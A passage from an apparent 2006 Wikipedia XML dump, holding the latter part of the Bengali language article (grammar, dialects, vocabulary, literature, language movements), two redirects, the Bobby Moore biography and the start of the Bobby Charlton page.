&lt;TD&gt;&lt;DIV align=center&gt;juta-gula &lt;br&gt; the shoes&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Objective'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-'''der(ke)''' &lt;br&gt; the students&lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-gula &lt;br&gt; the shoes&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Genitive'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;chhatro-'''der''' &lt;br&gt; the students'&lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-gula-'''r''' &lt;br&gt; the shoes'&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;

&lt;TR&gt;
&lt;TD&gt;&amp;nbsp;'''Locative'''&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt; - &lt;/DIV&gt;&lt;/TD&gt;
&lt;TD&gt;&lt;DIV align=center&gt;juta-gula-'''te''' &lt;br&gt; on/in the shoes&lt;/DIV&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;/TABLE&gt;

When counted, nouns must also be accompanied by the appropriate [[measure word]]. As in many Asian languages (e.g. [[Chinese language|Chinese]], [[Japanese language|Japanese]], [[Thai language|Thai]], etc.), nouns in Bangla cannot be counted directly by adding the numeral directly adjacent to the noun. The noun's measure word ('''MW''') must be used in between the numeral and the noun. Most nouns take the generic measure word ''ţa'', although there are many more specific measure words, such as ''jon'', which is only used to count humans.

{| border=1 align=center cellspacing=0 cellpadding=3
&lt;CAPTION&gt;'''Measure Words'''&lt;/CAPTION&gt;
|align=center|'''Bangla'''
|align=center|'''Literal translation'''
|align=center|'''English translation'''
|-
|align=center|Nôe-'''ţa''' ghoŗi
|align=center|Nine-'''MW''' clock
|align=center|Nine clocks
|-
|align=center|Kôe-'''ţa''' balish
|align=center|How.many-'''MW''' pillow
|align=center|How many pillows
|-
|align=center|Ônek-'''jon''' lok
|align=center|Many-'''MW''' person
|align=center|Many people
|-
|align=center|Char-pañch-'''jon''' shikkhôk
|align=center|Four-five-'''MW''' teacher
|align=center|Four or five teachers
|}

Measuring nouns in Bangla without their corresponding measure words (e.g. ''aţ biŗal'' instead of ''aţ-'''ţa''' biŗal'' &quot;eight cats&quot;) would typically be considered ungrammatical. However, omitting the noun and preserving the measure word is grammatical and not uncommon to hear. For example, ''Shudhu êk-'''jon''' thakbe.'' (lit. &quot;Only one-'''MW''' will remain.&quot;) would be understood to mean &quot;Only one '''person''' will remain.&quot;, since ''jon'' can only be used to count humans. The word ''lok'' &quot;person&quot; is implied.

===Verbs===
Verbs divide into two classes: finite and non-finite. Non-finite verbs have no inflection for tense or person, while finite verbs are fully inflected for [[Grammatical person|person]] (first, second, third), [[Grammatical tense|tense]] (present, past, future), [[Grammatical aspect|aspect]] (simple, perfect, progressive), and [[honorific|honor]] (intimate, familiar, and formal) -- but not for number. [[conditional mood|Conditional]], imperative, and other special inflections for [[grammatical mood|mood]] can replace the tense and aspect suffixes.

While the [[syntax]] of Bangla is not drastically different across the various dialects, the inflectional suffixes in the morphology of Bangla vary from region to region.

===Syntax===

As a Head-Final language, Bangla follows [[Subject Object Verb]] [[word order]], although word order variation is highly common. Bangla makes use of [[postposition|postpositions]], instead of English-style [[preposition|prepositions]]. [[determiner|Determiners]] follow the [[noun]], while numerals, [[adjective|adjectives]], and [[Possession (linguistics)|possessors]] precede the noun.

Yes-no questions do not require any change to the basic word order; instead, the low (L) [[Tone (linguistics)|tone]] of the final syllable in the utterance is replaced with a falling (HL) [[Tone (linguistics)|tone]]. Additionally optional [[grammatical particle|particles]] (e.g. [-ki], [-na], etc.) are often [[clitic|encliticized]] onto the first word of a yes-no question.

Wh-questions are formed by fronting the wh-word to [[focus (linguistics)|Focus]] position, which is typically the first or second word in the utterance.

== Vocabulary ==
[[Image:Bengali_Vocabulary.GIF|Sources of Bangla words|250px|right]]
''Main article: [[Origins of Bangla Words]]''

The typical Bangla dictionary lists 75,000 separate words, of which 50,000 (67%) are considered '''tôtshôm''' (direct reborrowings from Sanskrit), 21,100 (28%) are '''tôdbhôb''' (native Bangla vocabulary), and the rest being '''bideshi''' (foreign) and '''deshi''' (indigenous  [[Austroasiatic_languages|Austroasiatic]]) words.

However, these figures do not take into account the fact that a huge chunk of these words are archaic or highly technical, minimizing their actual usage. The productive vocabulary used in modern literary works, in fact, is made up mostly (67%) of tôdbhôb words, while tôtshôm only make up 25% of the total. Deshi and bideshi words together make up the remaining 8% of the vocabulary used in modern Bengali literature.

Due to centuries of contact with [[Europeans]], [[Mughals]], [[Arabs]], [[Persians]], and [[East Asians]], Bangla has absorbed countless words from foreign languages, often totally integrating these [[Loanword|borrowings]] into the core vocabulary. The most common borrowings from foreign languages come from three different kinds of contact. Close contact with neighboring peoples facilitated the borrowing of words from [[Hindi language|Hindi]], [[Assamese language|Assamese]], [[Chinese language|Chinese]], [[Burmese language|Burmese]], and several indigenous [[Austroasiatic_languages|Austroasiatic languages]] of Bengal. After centuries of invasions from [[Persia]] and the [[Middle East]], numerous [[Turkish language|Turkish]], [[Arabic language|Arabic]], and [[Farsi language|Farsi]] words were absorbed and fully integrated into the lexicon. Later, European colonialism brought words from [[Portuguese language|Portuguese]], [[French language|French]], [[Dutch language|Dutch]], and most significantly [[English language|English]].

==Variation in dialects==
Dialectual differences in Bangla manifest themselves in three forms: [[standardized dialect]] vs. regional dialect, literary language vs. colloquial language and lexical influences.

===Phonological variations===
There are marked dialectal differences between the speech of Bengalis living on the ''Poshchim'' (western) side and ''Purbo'' (eastern) side of the [[Padma River]].

====Fricatives====
In the dialects prevalent in much of eastern Bangladesh ([[Barisal]], [[Chittagong]], [[Dhaka]] and [[Sylhet]] divisions), many of the stops and affricates heard in Kolkata Bangla are pronounced as fricatives.

Poshchim Bangla [[postalveolar consonant|palato-alveolar]] affricates চ [tʃ], ছ [tʃ&lt;sup&gt;h&lt;/sup&gt;], জ [{{IPA|d&amp;#658;}}], and ঝ [{{IPA|d&amp;#658;&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}] correspond to Purbo Bangla চ&amp;#x02bb; [ts], ছ় [s], জ&amp;#x02bb; [dz], and ঝ় [z]. A similar pronunciation is also found in [[Assamese]], a related language across the border in India.

The aspirated velar stop খ [{{IPA|k&lt;sup&gt;h&lt;/sup&gt;}}] and the aspirated labial stop ফ [{{IPA|p&lt;sup&gt;h&lt;/sup&gt;}}] of Poshchim Bangla correspond to খ় [x] and ফ় [f] in many dialects of Purbo Bangla. These pronunciations are most extreme in the [[Sylheti language|Sylheti dialect]] of extreme northeastern Bangladesh -- the dialect of Bangla most common in the [[United Kingdom]].

Many Purbo Bangla dialects share phonological features with Assamese, including the debuccalization of শ [{{IPA|ʃ}}] to  হ [h] or খ় [x].

====Tibeto-Burman Influence====
The influence of Tibeto-Burman languages on the phonology of Purbo Bangla is seen through the lack of nasalized vowels, a more fronted place of articulation for the apico-postalveolar stops ট [{{IPA|&amp;#648;}}], ঠ [{{IPA|&amp;#648;&lt;sup&gt;h&lt;/sup&gt;}}], ড [{{IPA|&amp;#598;}}], and ঢ [{{IPA|&amp;#598;&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}], and the lack of distinction between র [{{IPA| &amp;#638;}}] and ড়/ঢ় [{{IPA|&amp;#637;}}].

Unlike most Indic languages, some Purbo Bangla dialects do not include the breathy voiced stops ঘ [{{IPA|g&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}], ঝ [{{IPA|d&amp;#658;&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}], ঢ [{{IPA|&amp;#598;&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}], ধ [{{IPA|d&amp;#810;&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}], and ভ [{{IPA|b&lt;sup&gt;&amp;#614;&lt;/sup&gt;}}].

Some variants of Bangla, particularly Chittagonian and Chakma Bangla (considered by some to be separate languages), have contrastive [[tone (linguistics)|tone]]; differences in the pitch of the speaker's voice can distinguish words.

===Lexical variations===
The third major factor in dialectical difference, specifically between the dialects of West Bengal and Bangladesh, is a lexical one. Even in Standard Bengali, vocabulary items often divide along the split between the predominantly Muslim Bangladeshi populace and largely Hindu West Bengali populace. Due to their cultural and religious traditions, Muslims occasionally utilize Perso-Arabic words instead of the Sanskrit-derived forms. 

Some examples of lexical alternation between standard West Bengali forms (or commonly called Hindu forms) and their corresponding standard Bangladeshi forms (or commonly called Muslim forms) are as follows:

* hello: nômoshkar (S) corresponds to assalamualaikum/slamalikum (A)
* invitation: nimontron/nimontonno (S) corresponds to daoat (A)
* guest: otithi (S) corresponds to mehman (P)
* sir: môshae (S) corresponds to shaheb (A)
* bath/shower: snan/chan (S) corresponds to gosol (A)
* water: jôl (S) corresponds to pani (S/Hindi)
* meat: mangsho (S) corresponds to gosh/goshto/gosto (P)
* prayer: prarthona (S) corresponds to doa (A)
* god: bhôgoban, ishshor (S) corresponds to Allah (A), Khoda (P)
* mother: ma (S) corresponds to amma (A)
* father: baba (S) corresponds to abba (A)
* maternal aunt: mashi (S) corresponds to khala (A)
* paternal aunt: pishi (S) corresponds to fupi/fupu (P)
* paternal uncle: kaka (S) corresponds to chacha (S/Hindi)

(here S = derived from Sanskrit; A = derived from Arabic, P = derived from Persian)  

The differences above depend on the region contemplated and are not always clearly distinct. For example, many people in West Bengal continue to use the words ''chan'' and ''gosol'' (or ''nimontron'' and ''daoat'') interchangeably with no particular bias towards one word or the other; a similar situation prevails (even among Muslims) in Hindu majority and Western regions of Bangladesh. Additionally, ''baba'' and ''ma'' are also heard often in Bangladesh.

Though ''jôl'', ''pani'', ''kaka'', and ''chacha'' are all Sanskrit derivatives, ''pani'' and ''chacha'' became more associated with the [[Hindustani language]] that imbibed so much of [[Mughal]] culture and so became the word of choice for Muslim speakers of Bangla.

Furthermore, there are cases where speakers of Standard Bangla in West Bengal will use a different word than a speaker of Standard Bangla in Bangladesh, even though both words are of native Bangla descent. Because each pair of words is made up of only native vocabulary, the choice of which word to use is not based on one's religion, but on regional usage. Examples of such cases are listed below, with the West Bengali standard marked (W) and the Bangladeshi standard marked (E):

* salt: nun (W) corresponds to lôbon (E)
* turmeric: holdi (W) corresponds to holud (E)
* chili pepper: lôngka (W) corresponds to morich (E)
* with: shôngge (W) corresponds to shathe (E)
* husband's sister: thakurjhi (W) corresponds to nônod (E)

Note that these differences reflect the vocabulary of the standard varieties of Bangla in West Bengali and Bangladesh. Variation in the vocabulary of the countless regional dialects of both West Bengal and Bangladesh are even more pronounced.

==Bangla literature==
''Main article: [[Bangla literature]]''

The first evidence of Bangla literature is [[Charyapada]] or Charyageeti, buddhist hymns or dohas from the 8th century.

[[Image:Rabindranath.png|Rabindranath Tagore|frame|right]]
Possibly the most prolific writer in Bangla is [[Nobel Prize|Nobel laureate]] [[Rabindranath Tagore]]. Tagore dominated both the Bengali and Indian philosophical and literary scene for decades. His 2,000 ''Rabindrasangeets'' play a pivotal part in defining Bengali culture, both in West Bengal and Bangladesh. He is the author of the [[national anthem|national anthems]] of both [[India]] and [[Bangladesh]], both composed in Bangla. Other notable Bangla works of his are ''[[Gitanjali]]'', a book of poems for which he was awarded the Nobel Prize for Literature in 1913, and many short stories and a few novels.

In a similar category is [[Kazi Nazrul Islam]], a Muslim who was invited to post-partition Bangladesh as the [[National Poet]] and whose work transcends sectarian boundaries.  Adored by Bengalis both in Bangladesh and West Bengal, his work includes 3,000 songs, known as ''nazrul geeti''. He is frequently called the '''rebel poet''' because of his strong involvement in revolution leading to India's independence from British Rule. His songs and poems were frequently used during the [[Bangladesh Liberation War]] as well. 

[[Michael Madhusudan Dutt]], a Christian by conversion, is best known for his [[Ramayana]]-based masterpiece, &quot;The Slaying of Meghnadh,&quot; (in Bengali &quot;''Meghnadh Bodh Kabbo''&quot; (&amp;#2478;&amp;#2503;&amp;#2456;&amp;#2472;&amp;#2494;&amp;#2470; &amp;#2476;&amp;#2471; &amp;#2453;&amp;#2494;&amp;#2476;&amp;#2509;&amp;#2479;)),  which essentially follows in the poetic tradition of [[John Milton|Milton]]'s ''Paradise Lost''. Those who have read it consider this work a world-class epic poem of the modern era. Michael Madhusudan Dutta is also credited with the introduction of sonnets to Bangla literature.

[[Sarat Chandra Chattopadhyay]] was an author whose speciality was exploring complex human psychology. [[Bankim Chandra Chattopadhyay]] was one of the earliest Bengali novelists and is popularly known as the author of India's first ''national song'', &quot;Bande M&amp;#257;tarom&quot; (pronounced in Hindi &quot;[[Vande Mataram|Vande M&amp;#257;t&amp;#257;ram]]&quot;). Tarashankar Bandopadhay was another famous novelist whose works feature a realistic picture of the many-colored fabric of life in rural Bengal.

[[Jibanananda Das]] was a famous poet who, along with Buddhadev Basu, marks the beginning of the move to transcend the Tagore legacy. The new genere of Bengali poets departed considerably from Tagore's ideological style and adoped realism in their writing more pronouncedly. Titled '''polli-kobi''' (''Poet of the Village'') for works relating to the villages and countryside of Bengal, [[Jasimuddin]] is particularly famous for his poems that have become major highlights for pedagogical purposes in both West Bengal and Bangladesh.

Seminal Hindu religious works in Bangla include the many songs of [[Ramprasad Sen]]. His works (still sung today) from the 17th century cover an astonishing range of emotional responses to the goddess [[Kali]], detailing complex philosophical statements based on [[Vedanta]] teachings and more visceral prouncements of his love of the goddess. There are also the laudatory accounts of the lives and teachings of the [[Vaishnava]] saint [[Chaitanya Mahaprabhu]] (the ''Choitanyo Chorit&amp;#257;mrit'') and [[Devi]] [[Advaitist]] Shri [[Ramakrishna]] (the ''Ramakrishna Kathamrita'', translated roughly as Gospel of Ramakrishna). There is also a large body of Islamic literature, that can be traced back atleast to ''Noornama'' by [[Abdul Hakim]]. ''Bishad Sindhu'' depicting the death of Hussain in [[Karbala]] is very popular novel written by [[Mir Mosharraf Hossain]]. Later works influenced by Islam include devotional songs written by Nazrul, and popularized by [[Abbas Uddin]], among others.

The mystic [[Baul]]s of the Bengal countryside who preached the boundless spiritual truth of ''Sôhoj Pôth'' (the Simple, Natural Path) and ''Moner M&amp;#257;nush'' (The Man of The Heart) drew on Vedantic philosophy to propound transcendental truths in song format, traveling from village to village proclaiming that there was no such thing as Hindu, Muslim or Christian, only ''moner m&amp;#257;nush.''

The literature discussed so far can be more or less regarded as the common heritage of both [[Bangladesh]] and [[West Bengal]]. Since the partition of [[Bengal]] in 1947, the east and west parts of Bengal have also developed their own distinctive literatures. For example, the [[Naxalite]] movement has influenced much of West Bengal's literature, whereas the [[Bangladesh Liberation War|Liberation War]] has had a similarly profound impact on [[Bangladesh]]i literature.  

Major literary figures in Bangladesh include [[Shamsur Rahman]], [[Sufia Kamal]], [[Hasan Azizul Huq]], [[Akhtaruzzaman Ilias]] and [[Humayun Azad]] , to name a few. Some notable writers from West Bengal are [[Sunil Gangopadhyay]], [[Shankha Ghosh]], [[Shakti Chattopadhyay]], [[Mahasweta Devi]] and [[Joy Goswami]].

== Modern History ==
Until the [[18th century]], Bangla did not have a well-documented grammar. Bangla existed as a collection of thousands of dialects.  The first written Bangla grammar, ''Vocabolario em idioma Bengalla, e Portuguez dividido em duas partes'', was written by Manoel da Assumpcam, a [[Portuguese people|Portuguese]] [[missionary]]. Assumpcam wrote this grammar between [[1734]] and [[1742]] while he was serving in [[Bhawal]]. Nathaniel Brassey Halhed, a [[Kingdom of Great Britain|British]] [[grammarian]], is credited as being the first to write a Bangla grammar using Bangla texts and letters for illustration: ''A Grammar of the Bengal Language ([[1778]])''. [[Raja Ram Mohan Roy]], the great Bengali Reformer, also published a book &quot;Grammar of the Bengali Language&quot; in [[1832]]. Since then, the written form of Bengali has gone under numerous changes. Perhaps the most important was the adoption of ''Cholti Bhasha'' over ''Shadhu Bhasha'' (an archaic form of the language) as the form of choice for written Bangla, spearheaded by Pramatha Choudhury. Spoken and written Bangla continues to evolve in both [[West Bengal]] and [[Bangladesh]].

=== Language movements ===
There have been several incidents of popular uprisings to protect the status of Bangla. Most notable among these is the [[Language movement]] of [[1952]], in [[East Pakistan]]. There have been other incidents in Bangla-speaking regions of [[India]] as well.

Between the years of [[1947]] and [[1971]], what is now known as Bangladesh was part of [[Pakistan]] (and first known as [[East Bengal (province)|East Bengal]] and later [[East Pakistan]]). During this period, the Bangla language became the focus and foundation of the national identity of the [[Bengali people]], leading ultimately to the creation of the sovereign state of [[Bangladesh]].

Around [[1950]]-[[1952|52]], the emerging middle class of [[East Bengal]] underwent an uprising known later as the ''Bhasha Andolon'', or [[Language Movement]]. Bengalis (then East Pakistanis) were initially agitated by a decision by the central Pakistani government to establish [[Urdu]] as the sole national language for all of [[Pakistan]], despite the fact that Urdu was only a minority language spoken by the supposed elite class of what was then [[West Pakistan]]. At the peak of resentment, on [[February 21]], [[1952]], Bengali students (mainly of [[Dhaka Medical College and Hospital]] and [[University of Dhaka]]) and activists walked into military and police fire and were killed in demand of the recognition and establishment of the Bangla language - spoken by the majority of the then-Pakistani population - as one of the, if not the sole, national language of erstwhile Pakistan.  The day is revered in modern-day Bangladesh and, to a somewhat lesser extent, in [[West Bengal]] as the [[Language Martyrs' Day]]. [[UNESCO]] decided to observe [[21 February]] as [[International Mother Language Day]]. The UNESCO General Conference took a decision to that took effect on [[17 November]] [[1999]] when it unanimously adopted a draft resolution submitted by Bangladesh and co-sponsored and supported by 28 other countries.

In 1961, the Government of the Indian state of [[Assam]] passed legislation making the use of Assamese language compulsory. This legislation resulted in widespread protest across [[Assam]]. In one such incident, 11 people were killed due to police firing in Silchar in southern [[Assam]]. Coming under intense pressure, the Government withdrew the legislation &lt;ref name=&quot;silchar&quot;&gt; [http://www.swordoftruth.com/swordoftruth/archives/readersvoice/ulmobvoa.html Silchar police firing incident] &lt;/ref&gt;

== See also ==
* [[Language Martyrs' Day]]
* [[Language Movement]]
* [[Music of Bangladesh]]
* [[Music of Bengal]]
* [[Bengali cinema]]
* [[List of national languages of India]]
* [[List of Indian languages by total speakers]]

== External links ==
{{InterWiki|code=bn}}
* [http://geocities.com/aboltabol_new/overview.htm Bengali Language: A Brief Overview]
* [http://www.ethnologue.com/show_language.asp?code=BNG Ethnologue report for Bengali]
* [http://www.i3pep.org/archives/2003/11/03/bengali-language-a-brief-introduction/ Bengali Language: A Brief Introduction]
* [http://www.sylheti.com Link on Sylheti dialect of Bangladesh]
* [http://www2.ignatius.edu/faculty/turner/languages.htm Ranking of Languages by Native Speakers]
* [http://www.iit.edu/~laksvij/language/bengali.html Transliterator] Transliterate from Romanised (english alphabets) to Unicode Bengali
* [http://dsal.uchicago.edu/dictionaries/biswas-bengali/ Samsad Bengali-English dictionary. 3rd ed. online]. Requires [[unicode]] enabled browser (such as [[firefox]]).
* [http://language-directory.50webs.com/languages/bengali.htm List of online Bengali-related resources]

== Notes ==
&lt;references /&gt;


== References ==
{{col-begin}} 
{{col-2}}
&lt;div style=&quot;font-size: 85%&quot;&gt;
* {{Harvard reference
 | Surname1    = Alam
 | Given1      = M
 | Year        = 2000
 | Title       = Bhasha Shourôbh: Bêkorôn O Rôchona (The Fragrance of Language: Grammar and Rhetoric)
 | Publisher   = S. N. Printers, Dhaka
}}.
* {{Harvard reference
 | Surname1    = Cardona
 | Given1      = G
 | Surname2    = Jain
 | Given2      = D
 | Year        = 2003
 | Title       = The Indo-Aryan languages 
 | Publisher   = RoutledgeCurzon, London
}}.
* {{Harvard reference
 | Surname1    = Chatterji 
 | Given1      = SK 
 | Year        = 1921
 | Title       = Bengali Phonetics
 | Journal     = Bulletin of the School of Oriental and African Studies
}}.
* {{Harvard reference
 | Surname1    = Chatterji
 | Given1      = SK
 | Year        = 1926
 | Title       = The Origin and Development of the Bengali Language: Part II
 | Publsher    = Calcutta Univ. Press
}}.
* {{Harvard reference
 | Surname1    = Ferguson
 | Given1      = CA
 | Surname2    = Chowdhury
 | Given2      = M
 | Year        = 1960
 | Title       = The Phonemes of Bengali
 | Journal     = Language, 36(1), Part 1
}}.
* {{Harvard reference
 | Surname1    = Hayes 
 | Given1      = B
 | Surname2    = Lahiri
 | Given2      = A
 | Year        = 1991
 | Title       = Bengali intonational phonology
 | Journal     = Natural Language &amp; Linguistic Theory
 | Publisher   = Springer Science
}}.
* {{Harvard reference
 | Surname1      = Klaiman
 | Given1    = MH
 | Year        = 1987
 | Chapter     = Bengali
 | Editor      = Bernard Comrie
 | Title       = The World's Major Languages
 | Publisher  =  Croon Helm, London and Sydney
}}.
&lt;/div&gt;
{{col-2}}
&lt;div style=&quot;font-size: 85%&quot;&gt;
* {{Harvard reference
 | Surname1    = Masica
 | Given1      = C
 | Year        = 1991
 | Title       = The Indo-Aryan Languages
 | Publisher  = Cambridge Univ. Press
}}.
* {{Harvard reference
 | Surname1    = Radice
 | Given1      = W
 | Year        = 1994
 | Title       = Teach Yourself Bengali: A Complete Course for Beginners
 | Publisher   = Hodder Headlin, London
}}.
* {{Harvard reference
 | Surname1    = Ray
 | Given1      = P
 | Surname2    = Hai
 | Given2      = MA
 | Surname3    = Ray
 | Given3      = L
 | Year        = 1966
 | Title       = Bengali language handbook
 | Publisher   = Center for Applied Linguistics, Washington
}}.
* {{Harvard reference
 | Surname1    = Sen
 | Given1      = D
 | Year        = 1996
 | Title       = Bengali Language and Literature
 | Publisher     = International Centre for Bengal Studies, Calcutta
}}.
&lt;/div&gt;
{{col-end}}


    

[[Category:Indo-Aryan languages]]
[[Category:Languages of Bangladesh]]
[[Category:Languages of India]]
[[Category:Bengali language|*]]
[[Category:Bengali literature]]

[[ar:لغة بنغالية]]
[[ast:Bengalí]]
[[bg:Бенгалски език]]
[[bn:বাংলা]]
[[ca:Bengalí]]
[[cy:Bengaleg]]
[[da:Bengali]]
[[de:Bengali]]
[[es:Idioma bengalí]]
[[eo:Bengala lingvo]]
[[fr:Bengalî]]
[[id:Bahasa Bengali]]
[[it:Lingua bengalese]]
[[kn:ಬಂಗಾಳಿ]]
[[ka:ბენგალური ენა]]
[[hu:Bengáli nyelv]]
[[ms:Bahasa Bengali]]
[[nl:Bengaals]]
[[ja:ベンガル語]]
[[nn:Bengali]]
[[pl:Język bengalski]]
[[pt:Bengali]]
[[ru:Бенгальский язык]]
[[sa:बाङगला]]
[[sr:Бенгалски језик]]
[[sv:Bengali]]
[[te:బెంగాళీ భాష]]
[[th:ภาษาเบงกาลี]]
[[zh:孟加拉语]]</text>
    </revision>
  </page>
  <page>
    <title>B-25</title>
    <id>4221</id>
    <revision>
      <id>15902508</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[B-25 Mitchell]]
</text>
    </revision>
  </page>
  <page>
    <title>Bernthia Perkins</title>
    <id>4222</id>
    <revision>
      <id>15902509</id>
      <timestamp>2002-04-05T06:28:06Z</timestamp>
      <contributor>
        <ip>210.49.193.178</ip>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Berry Berenson]]</text>
    </revision>
  </page>
  <page>
    <title>Bobby Moore</title>
    <id>4223</id>
    <revision>
      <id>41748983</id>
      <timestamp>2006-03-01T13:40:25Z</timestamp>
      <contributor>
        <username>Slumgum</username>
        <id>580636</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">:'''''Bobby Moore''' is also the original name of former [[American football]] player and current sportscaster [[Ahmad Rashad]].''

'''Robert Frederick Chelsea &quot;Bobby&quot; Moore''', [[Order of the British Empire|OBE]] ([[April 12]], [[1941]] - [[February 24]], [[1993]]) was an [[England|English]] [[football (soccer)|footballer]] whose place in footballing history is secure as the captain of [[West Ham United F.C.|West Ham]] and the English {{Wc|1966}}-winning team.  

Moore joined West Ham as a schoolboy and was a regular in the first team by [[1960]]. A composed central [[defender (football)|defender]], Moore was admired more for his reading of the game and ability to anticipate opposition movements, thereby distancing himself from the image of the hard-tackling, high-jumping defender. Indeed, Moore's ability to head the ball or keep up with the pace was average at best, but the way he marshalled his team and timed his tackles marked him out as world class.  In fact, [[Pelé]] used to call Moore the fairest defender he had ever played against.

He was in the [[England national football team|England]] squad for the [[Football World Cup 1962|1962 World Cup]] in [[Chile]], when England reached the quarter finals, and was captain of his country within another two years. In [[1964]], he skippered West Ham United to success in the [[FA Cup]] final at [[Wembley Stadium|Wembley]] where they beat [[Preston North End F.C.|Preston North End]] 3-2, the first of three successive trips to the national stadium in major finals in as many years for Moore, and from which he would emerge undefeated.

In [[1965]], Wembley hosted West Ham's 2-0 victory over [[1860 Munich]] in the [[Cup Winners' Cup|European Cup Winners Cup]], then in [[1966]], Moore was the leader of the side which gave English football its crowning glory and established him as a magnificent player, gentleman and sporting icon. His West Ham team-mate [[Geoff Hurst]] scored an historic [[hat-trick]] in the 4-2 [[Football World Cup|World Cup]] final win over [[Germany national football team|West Germany]], with Moore supplying pinpoint passes for two of his goals. Of many timeless images from that day, one is of Moore gallantly wiping his hands clean of mud on the velvet platform the [[Jules Rimet Trophy]] rested before shaking the hand of Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] as she presented him with the World Cup.

Moore faithfully pursued his West Ham and England career and was once again named as captain when England travelled to [[Mexico]] to defend the World Cup in [[1970]]. There was heavy disruption to preparations, however, when an attempt was made to implicate Moore in the theft of a bracelet from a jeweller in [[Bogotá]], [[Colombia]], where England had travelled for some warm-up games in order to get acclimatised with high altitude conditions. The charges were subsequently dropped, Moore was wholly exonerated and he was eventually permitted to rejoin his team-mates in Mexico.

In the group game against favourites [[Brazil national football team|Brazil]], there was a defining moment for Moore when he tackled the great [[Jairzinho]] with such precision and cleanliness that many cite is a tackle which no-one will ever better. Brazil still won the game, but England also progressed through the group.

Defeat after extra time against West Germany saw England bow out in the last eight, and it would be 12 years before England were to return to a World Cup finals again.

Moore ended up with 108 England caps, breaking the record held by his fellow 1966 hero [[Bobby Charlton]] by just two appearances. Only [[Peter Shilton]], with whom Moore also played at international level, has since played more times for his country. Moore's last appearance in an England shirt was in [[1973]].

In 1974 prior to the World Cup in Germany Moore played the first-half in a charity match in the Duesseldorf Rheinstadion before suddenly and mysteriously leaving at half-time without collecting his match fee to catch a plane back to London feigning an &quot;emergency.&quot; At full-time many players complained of missing valuables and cash in the team dressing-room and accused Moore of taking them.  

A year later, Moore was allowed to leave his beloved West Ham after more than 15 years and joined London rivals [[Fulham F.C.|Fulham]], who were in the second division. Somehow, in his first season, they reached the FA Cup final where they were to play none other than Moore's old club West Ham. It was, however, no fairytale farewell ending for Moore as Fulham lost 2-0.

Moore played for two teams in the [[North American Soccer League]], [[San Antonio Thunder]] in 1976 and [[Seattle Sounders]] in 1978.  Seatle was the last team he played professional football for.

 [[Image:Sonny1.jpg|thumb|Bobby playing for [[San Antonio Thunder]].]]

Moore retired from playing in [[1977]] and had a short, relatively unsuccessful, spell in football management.  His life after football was eventful and difficult, with business deals going wrong and his marriage ending. Many have since said that [[the Football Association]] could have given a role to Moore, as the only Englishman to captain a World Cup winning team.  Moore himself kept a dignified silence.

On [[15 February]] [[1993]] Moore announced he was suffering from [[bowel cancer]]. He succumbed to the illness just seven days after commentating on an England match at his spiritual home, Wembley, when England beat San Marino 6-0.

Moore was made an Inaugural Inductee of the [[English Football Hall of Fame]] in 2002 in recognition of his impact on the English game as player

The stand replacing the south bank at West Ham's ground, the [[Boleyn Ground]] in [[Upton Park]] has since been named the Bobby Moore Stand.

He was married twice, firstly to Christina Dean on [[30 June]] [[1962]] and secondly to Stephanie Parlane-Moore on [[4 December]] [[1991]].

==External links==
*[http://www.whufc.com/player.asp?plid=16843&amp;clid=0 Bobby Moore, West Ham Football Club]
*[http://www.bobbymooreonline.co.uk/ Bobby Moore Online]
*[http://www.nationalfootballmuseum.com/Hall%20of%20Fame/bobbymoore.htm English Football Hall of Fame Profile]

{{start box}}
{{succession box|title=[[FWA Footballer of the Year|Football Writers' Association Footballer of the Year]]|before=[[Stanley Matthews]] |after=[[Bobby Collins]]|years=1964}}
{{succession box|title=[[UEFA Jubilee Awards]]|before=- |after=-|years=England}}
{{succession box |title=[[Football World Cup]]&lt;br&gt;winning [[captain (football)|captain]]|before=[[Mauro]]&lt;br&gt;[[Brazil national football team|(Brazil)]]|after=[[Carlos Alberto Torres]]&lt;br/&gt;[[Brazil national football team|(Brazil)]] |years='''[[Football World Cup 1966|1966]]'''
}}
{{end box}}

[[Category:1941 births|Moore, Bobby]]
[[Category:1993 deaths|Moore, Bobby]]
[[Category:English football managers|Moore, Bobby]]
[[Category:English footballers|Moore, Bobby]]
[[Category:England footballers|Moore, Bobby]]
[[Category:Football (soccer) central defenders|Moore, Bobby]]
[[Category:Fulham F.C. players|Moore, Bobby]]
[[Category:NASL players|Moore, Bobby]]
[[Category:Officers of the British Empire|Moore, Bobby]]
[[Category:Southend United F.C. managers|Moore, Bobby]]
[[Category:West Ham United F.C. players|Moore, Bobby]]
[[Category:West Ham United F.C. captains|Moore, Bobby]]
[[Category:West Ham United F.C. defenders|Moore, Bobby]]

[[de:Bobby Moore]]
[[et:Bobby Moore]]
[[fr:Bobby Moore]]
[[nl:Bobby Moore]]
[[no:Bobby Moore]]
[[sv:Bobby Moore]]</text>
    </revision>
  </page>
  <page>
    <title>Bobby Charlton</title>
    <id>4224</id>
    <revision>
      <id>42043843</id>
      <timestamp>2006-03-03T12:10:13Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">{{Football player infobox2 |
  playername = Bobby Charlton |
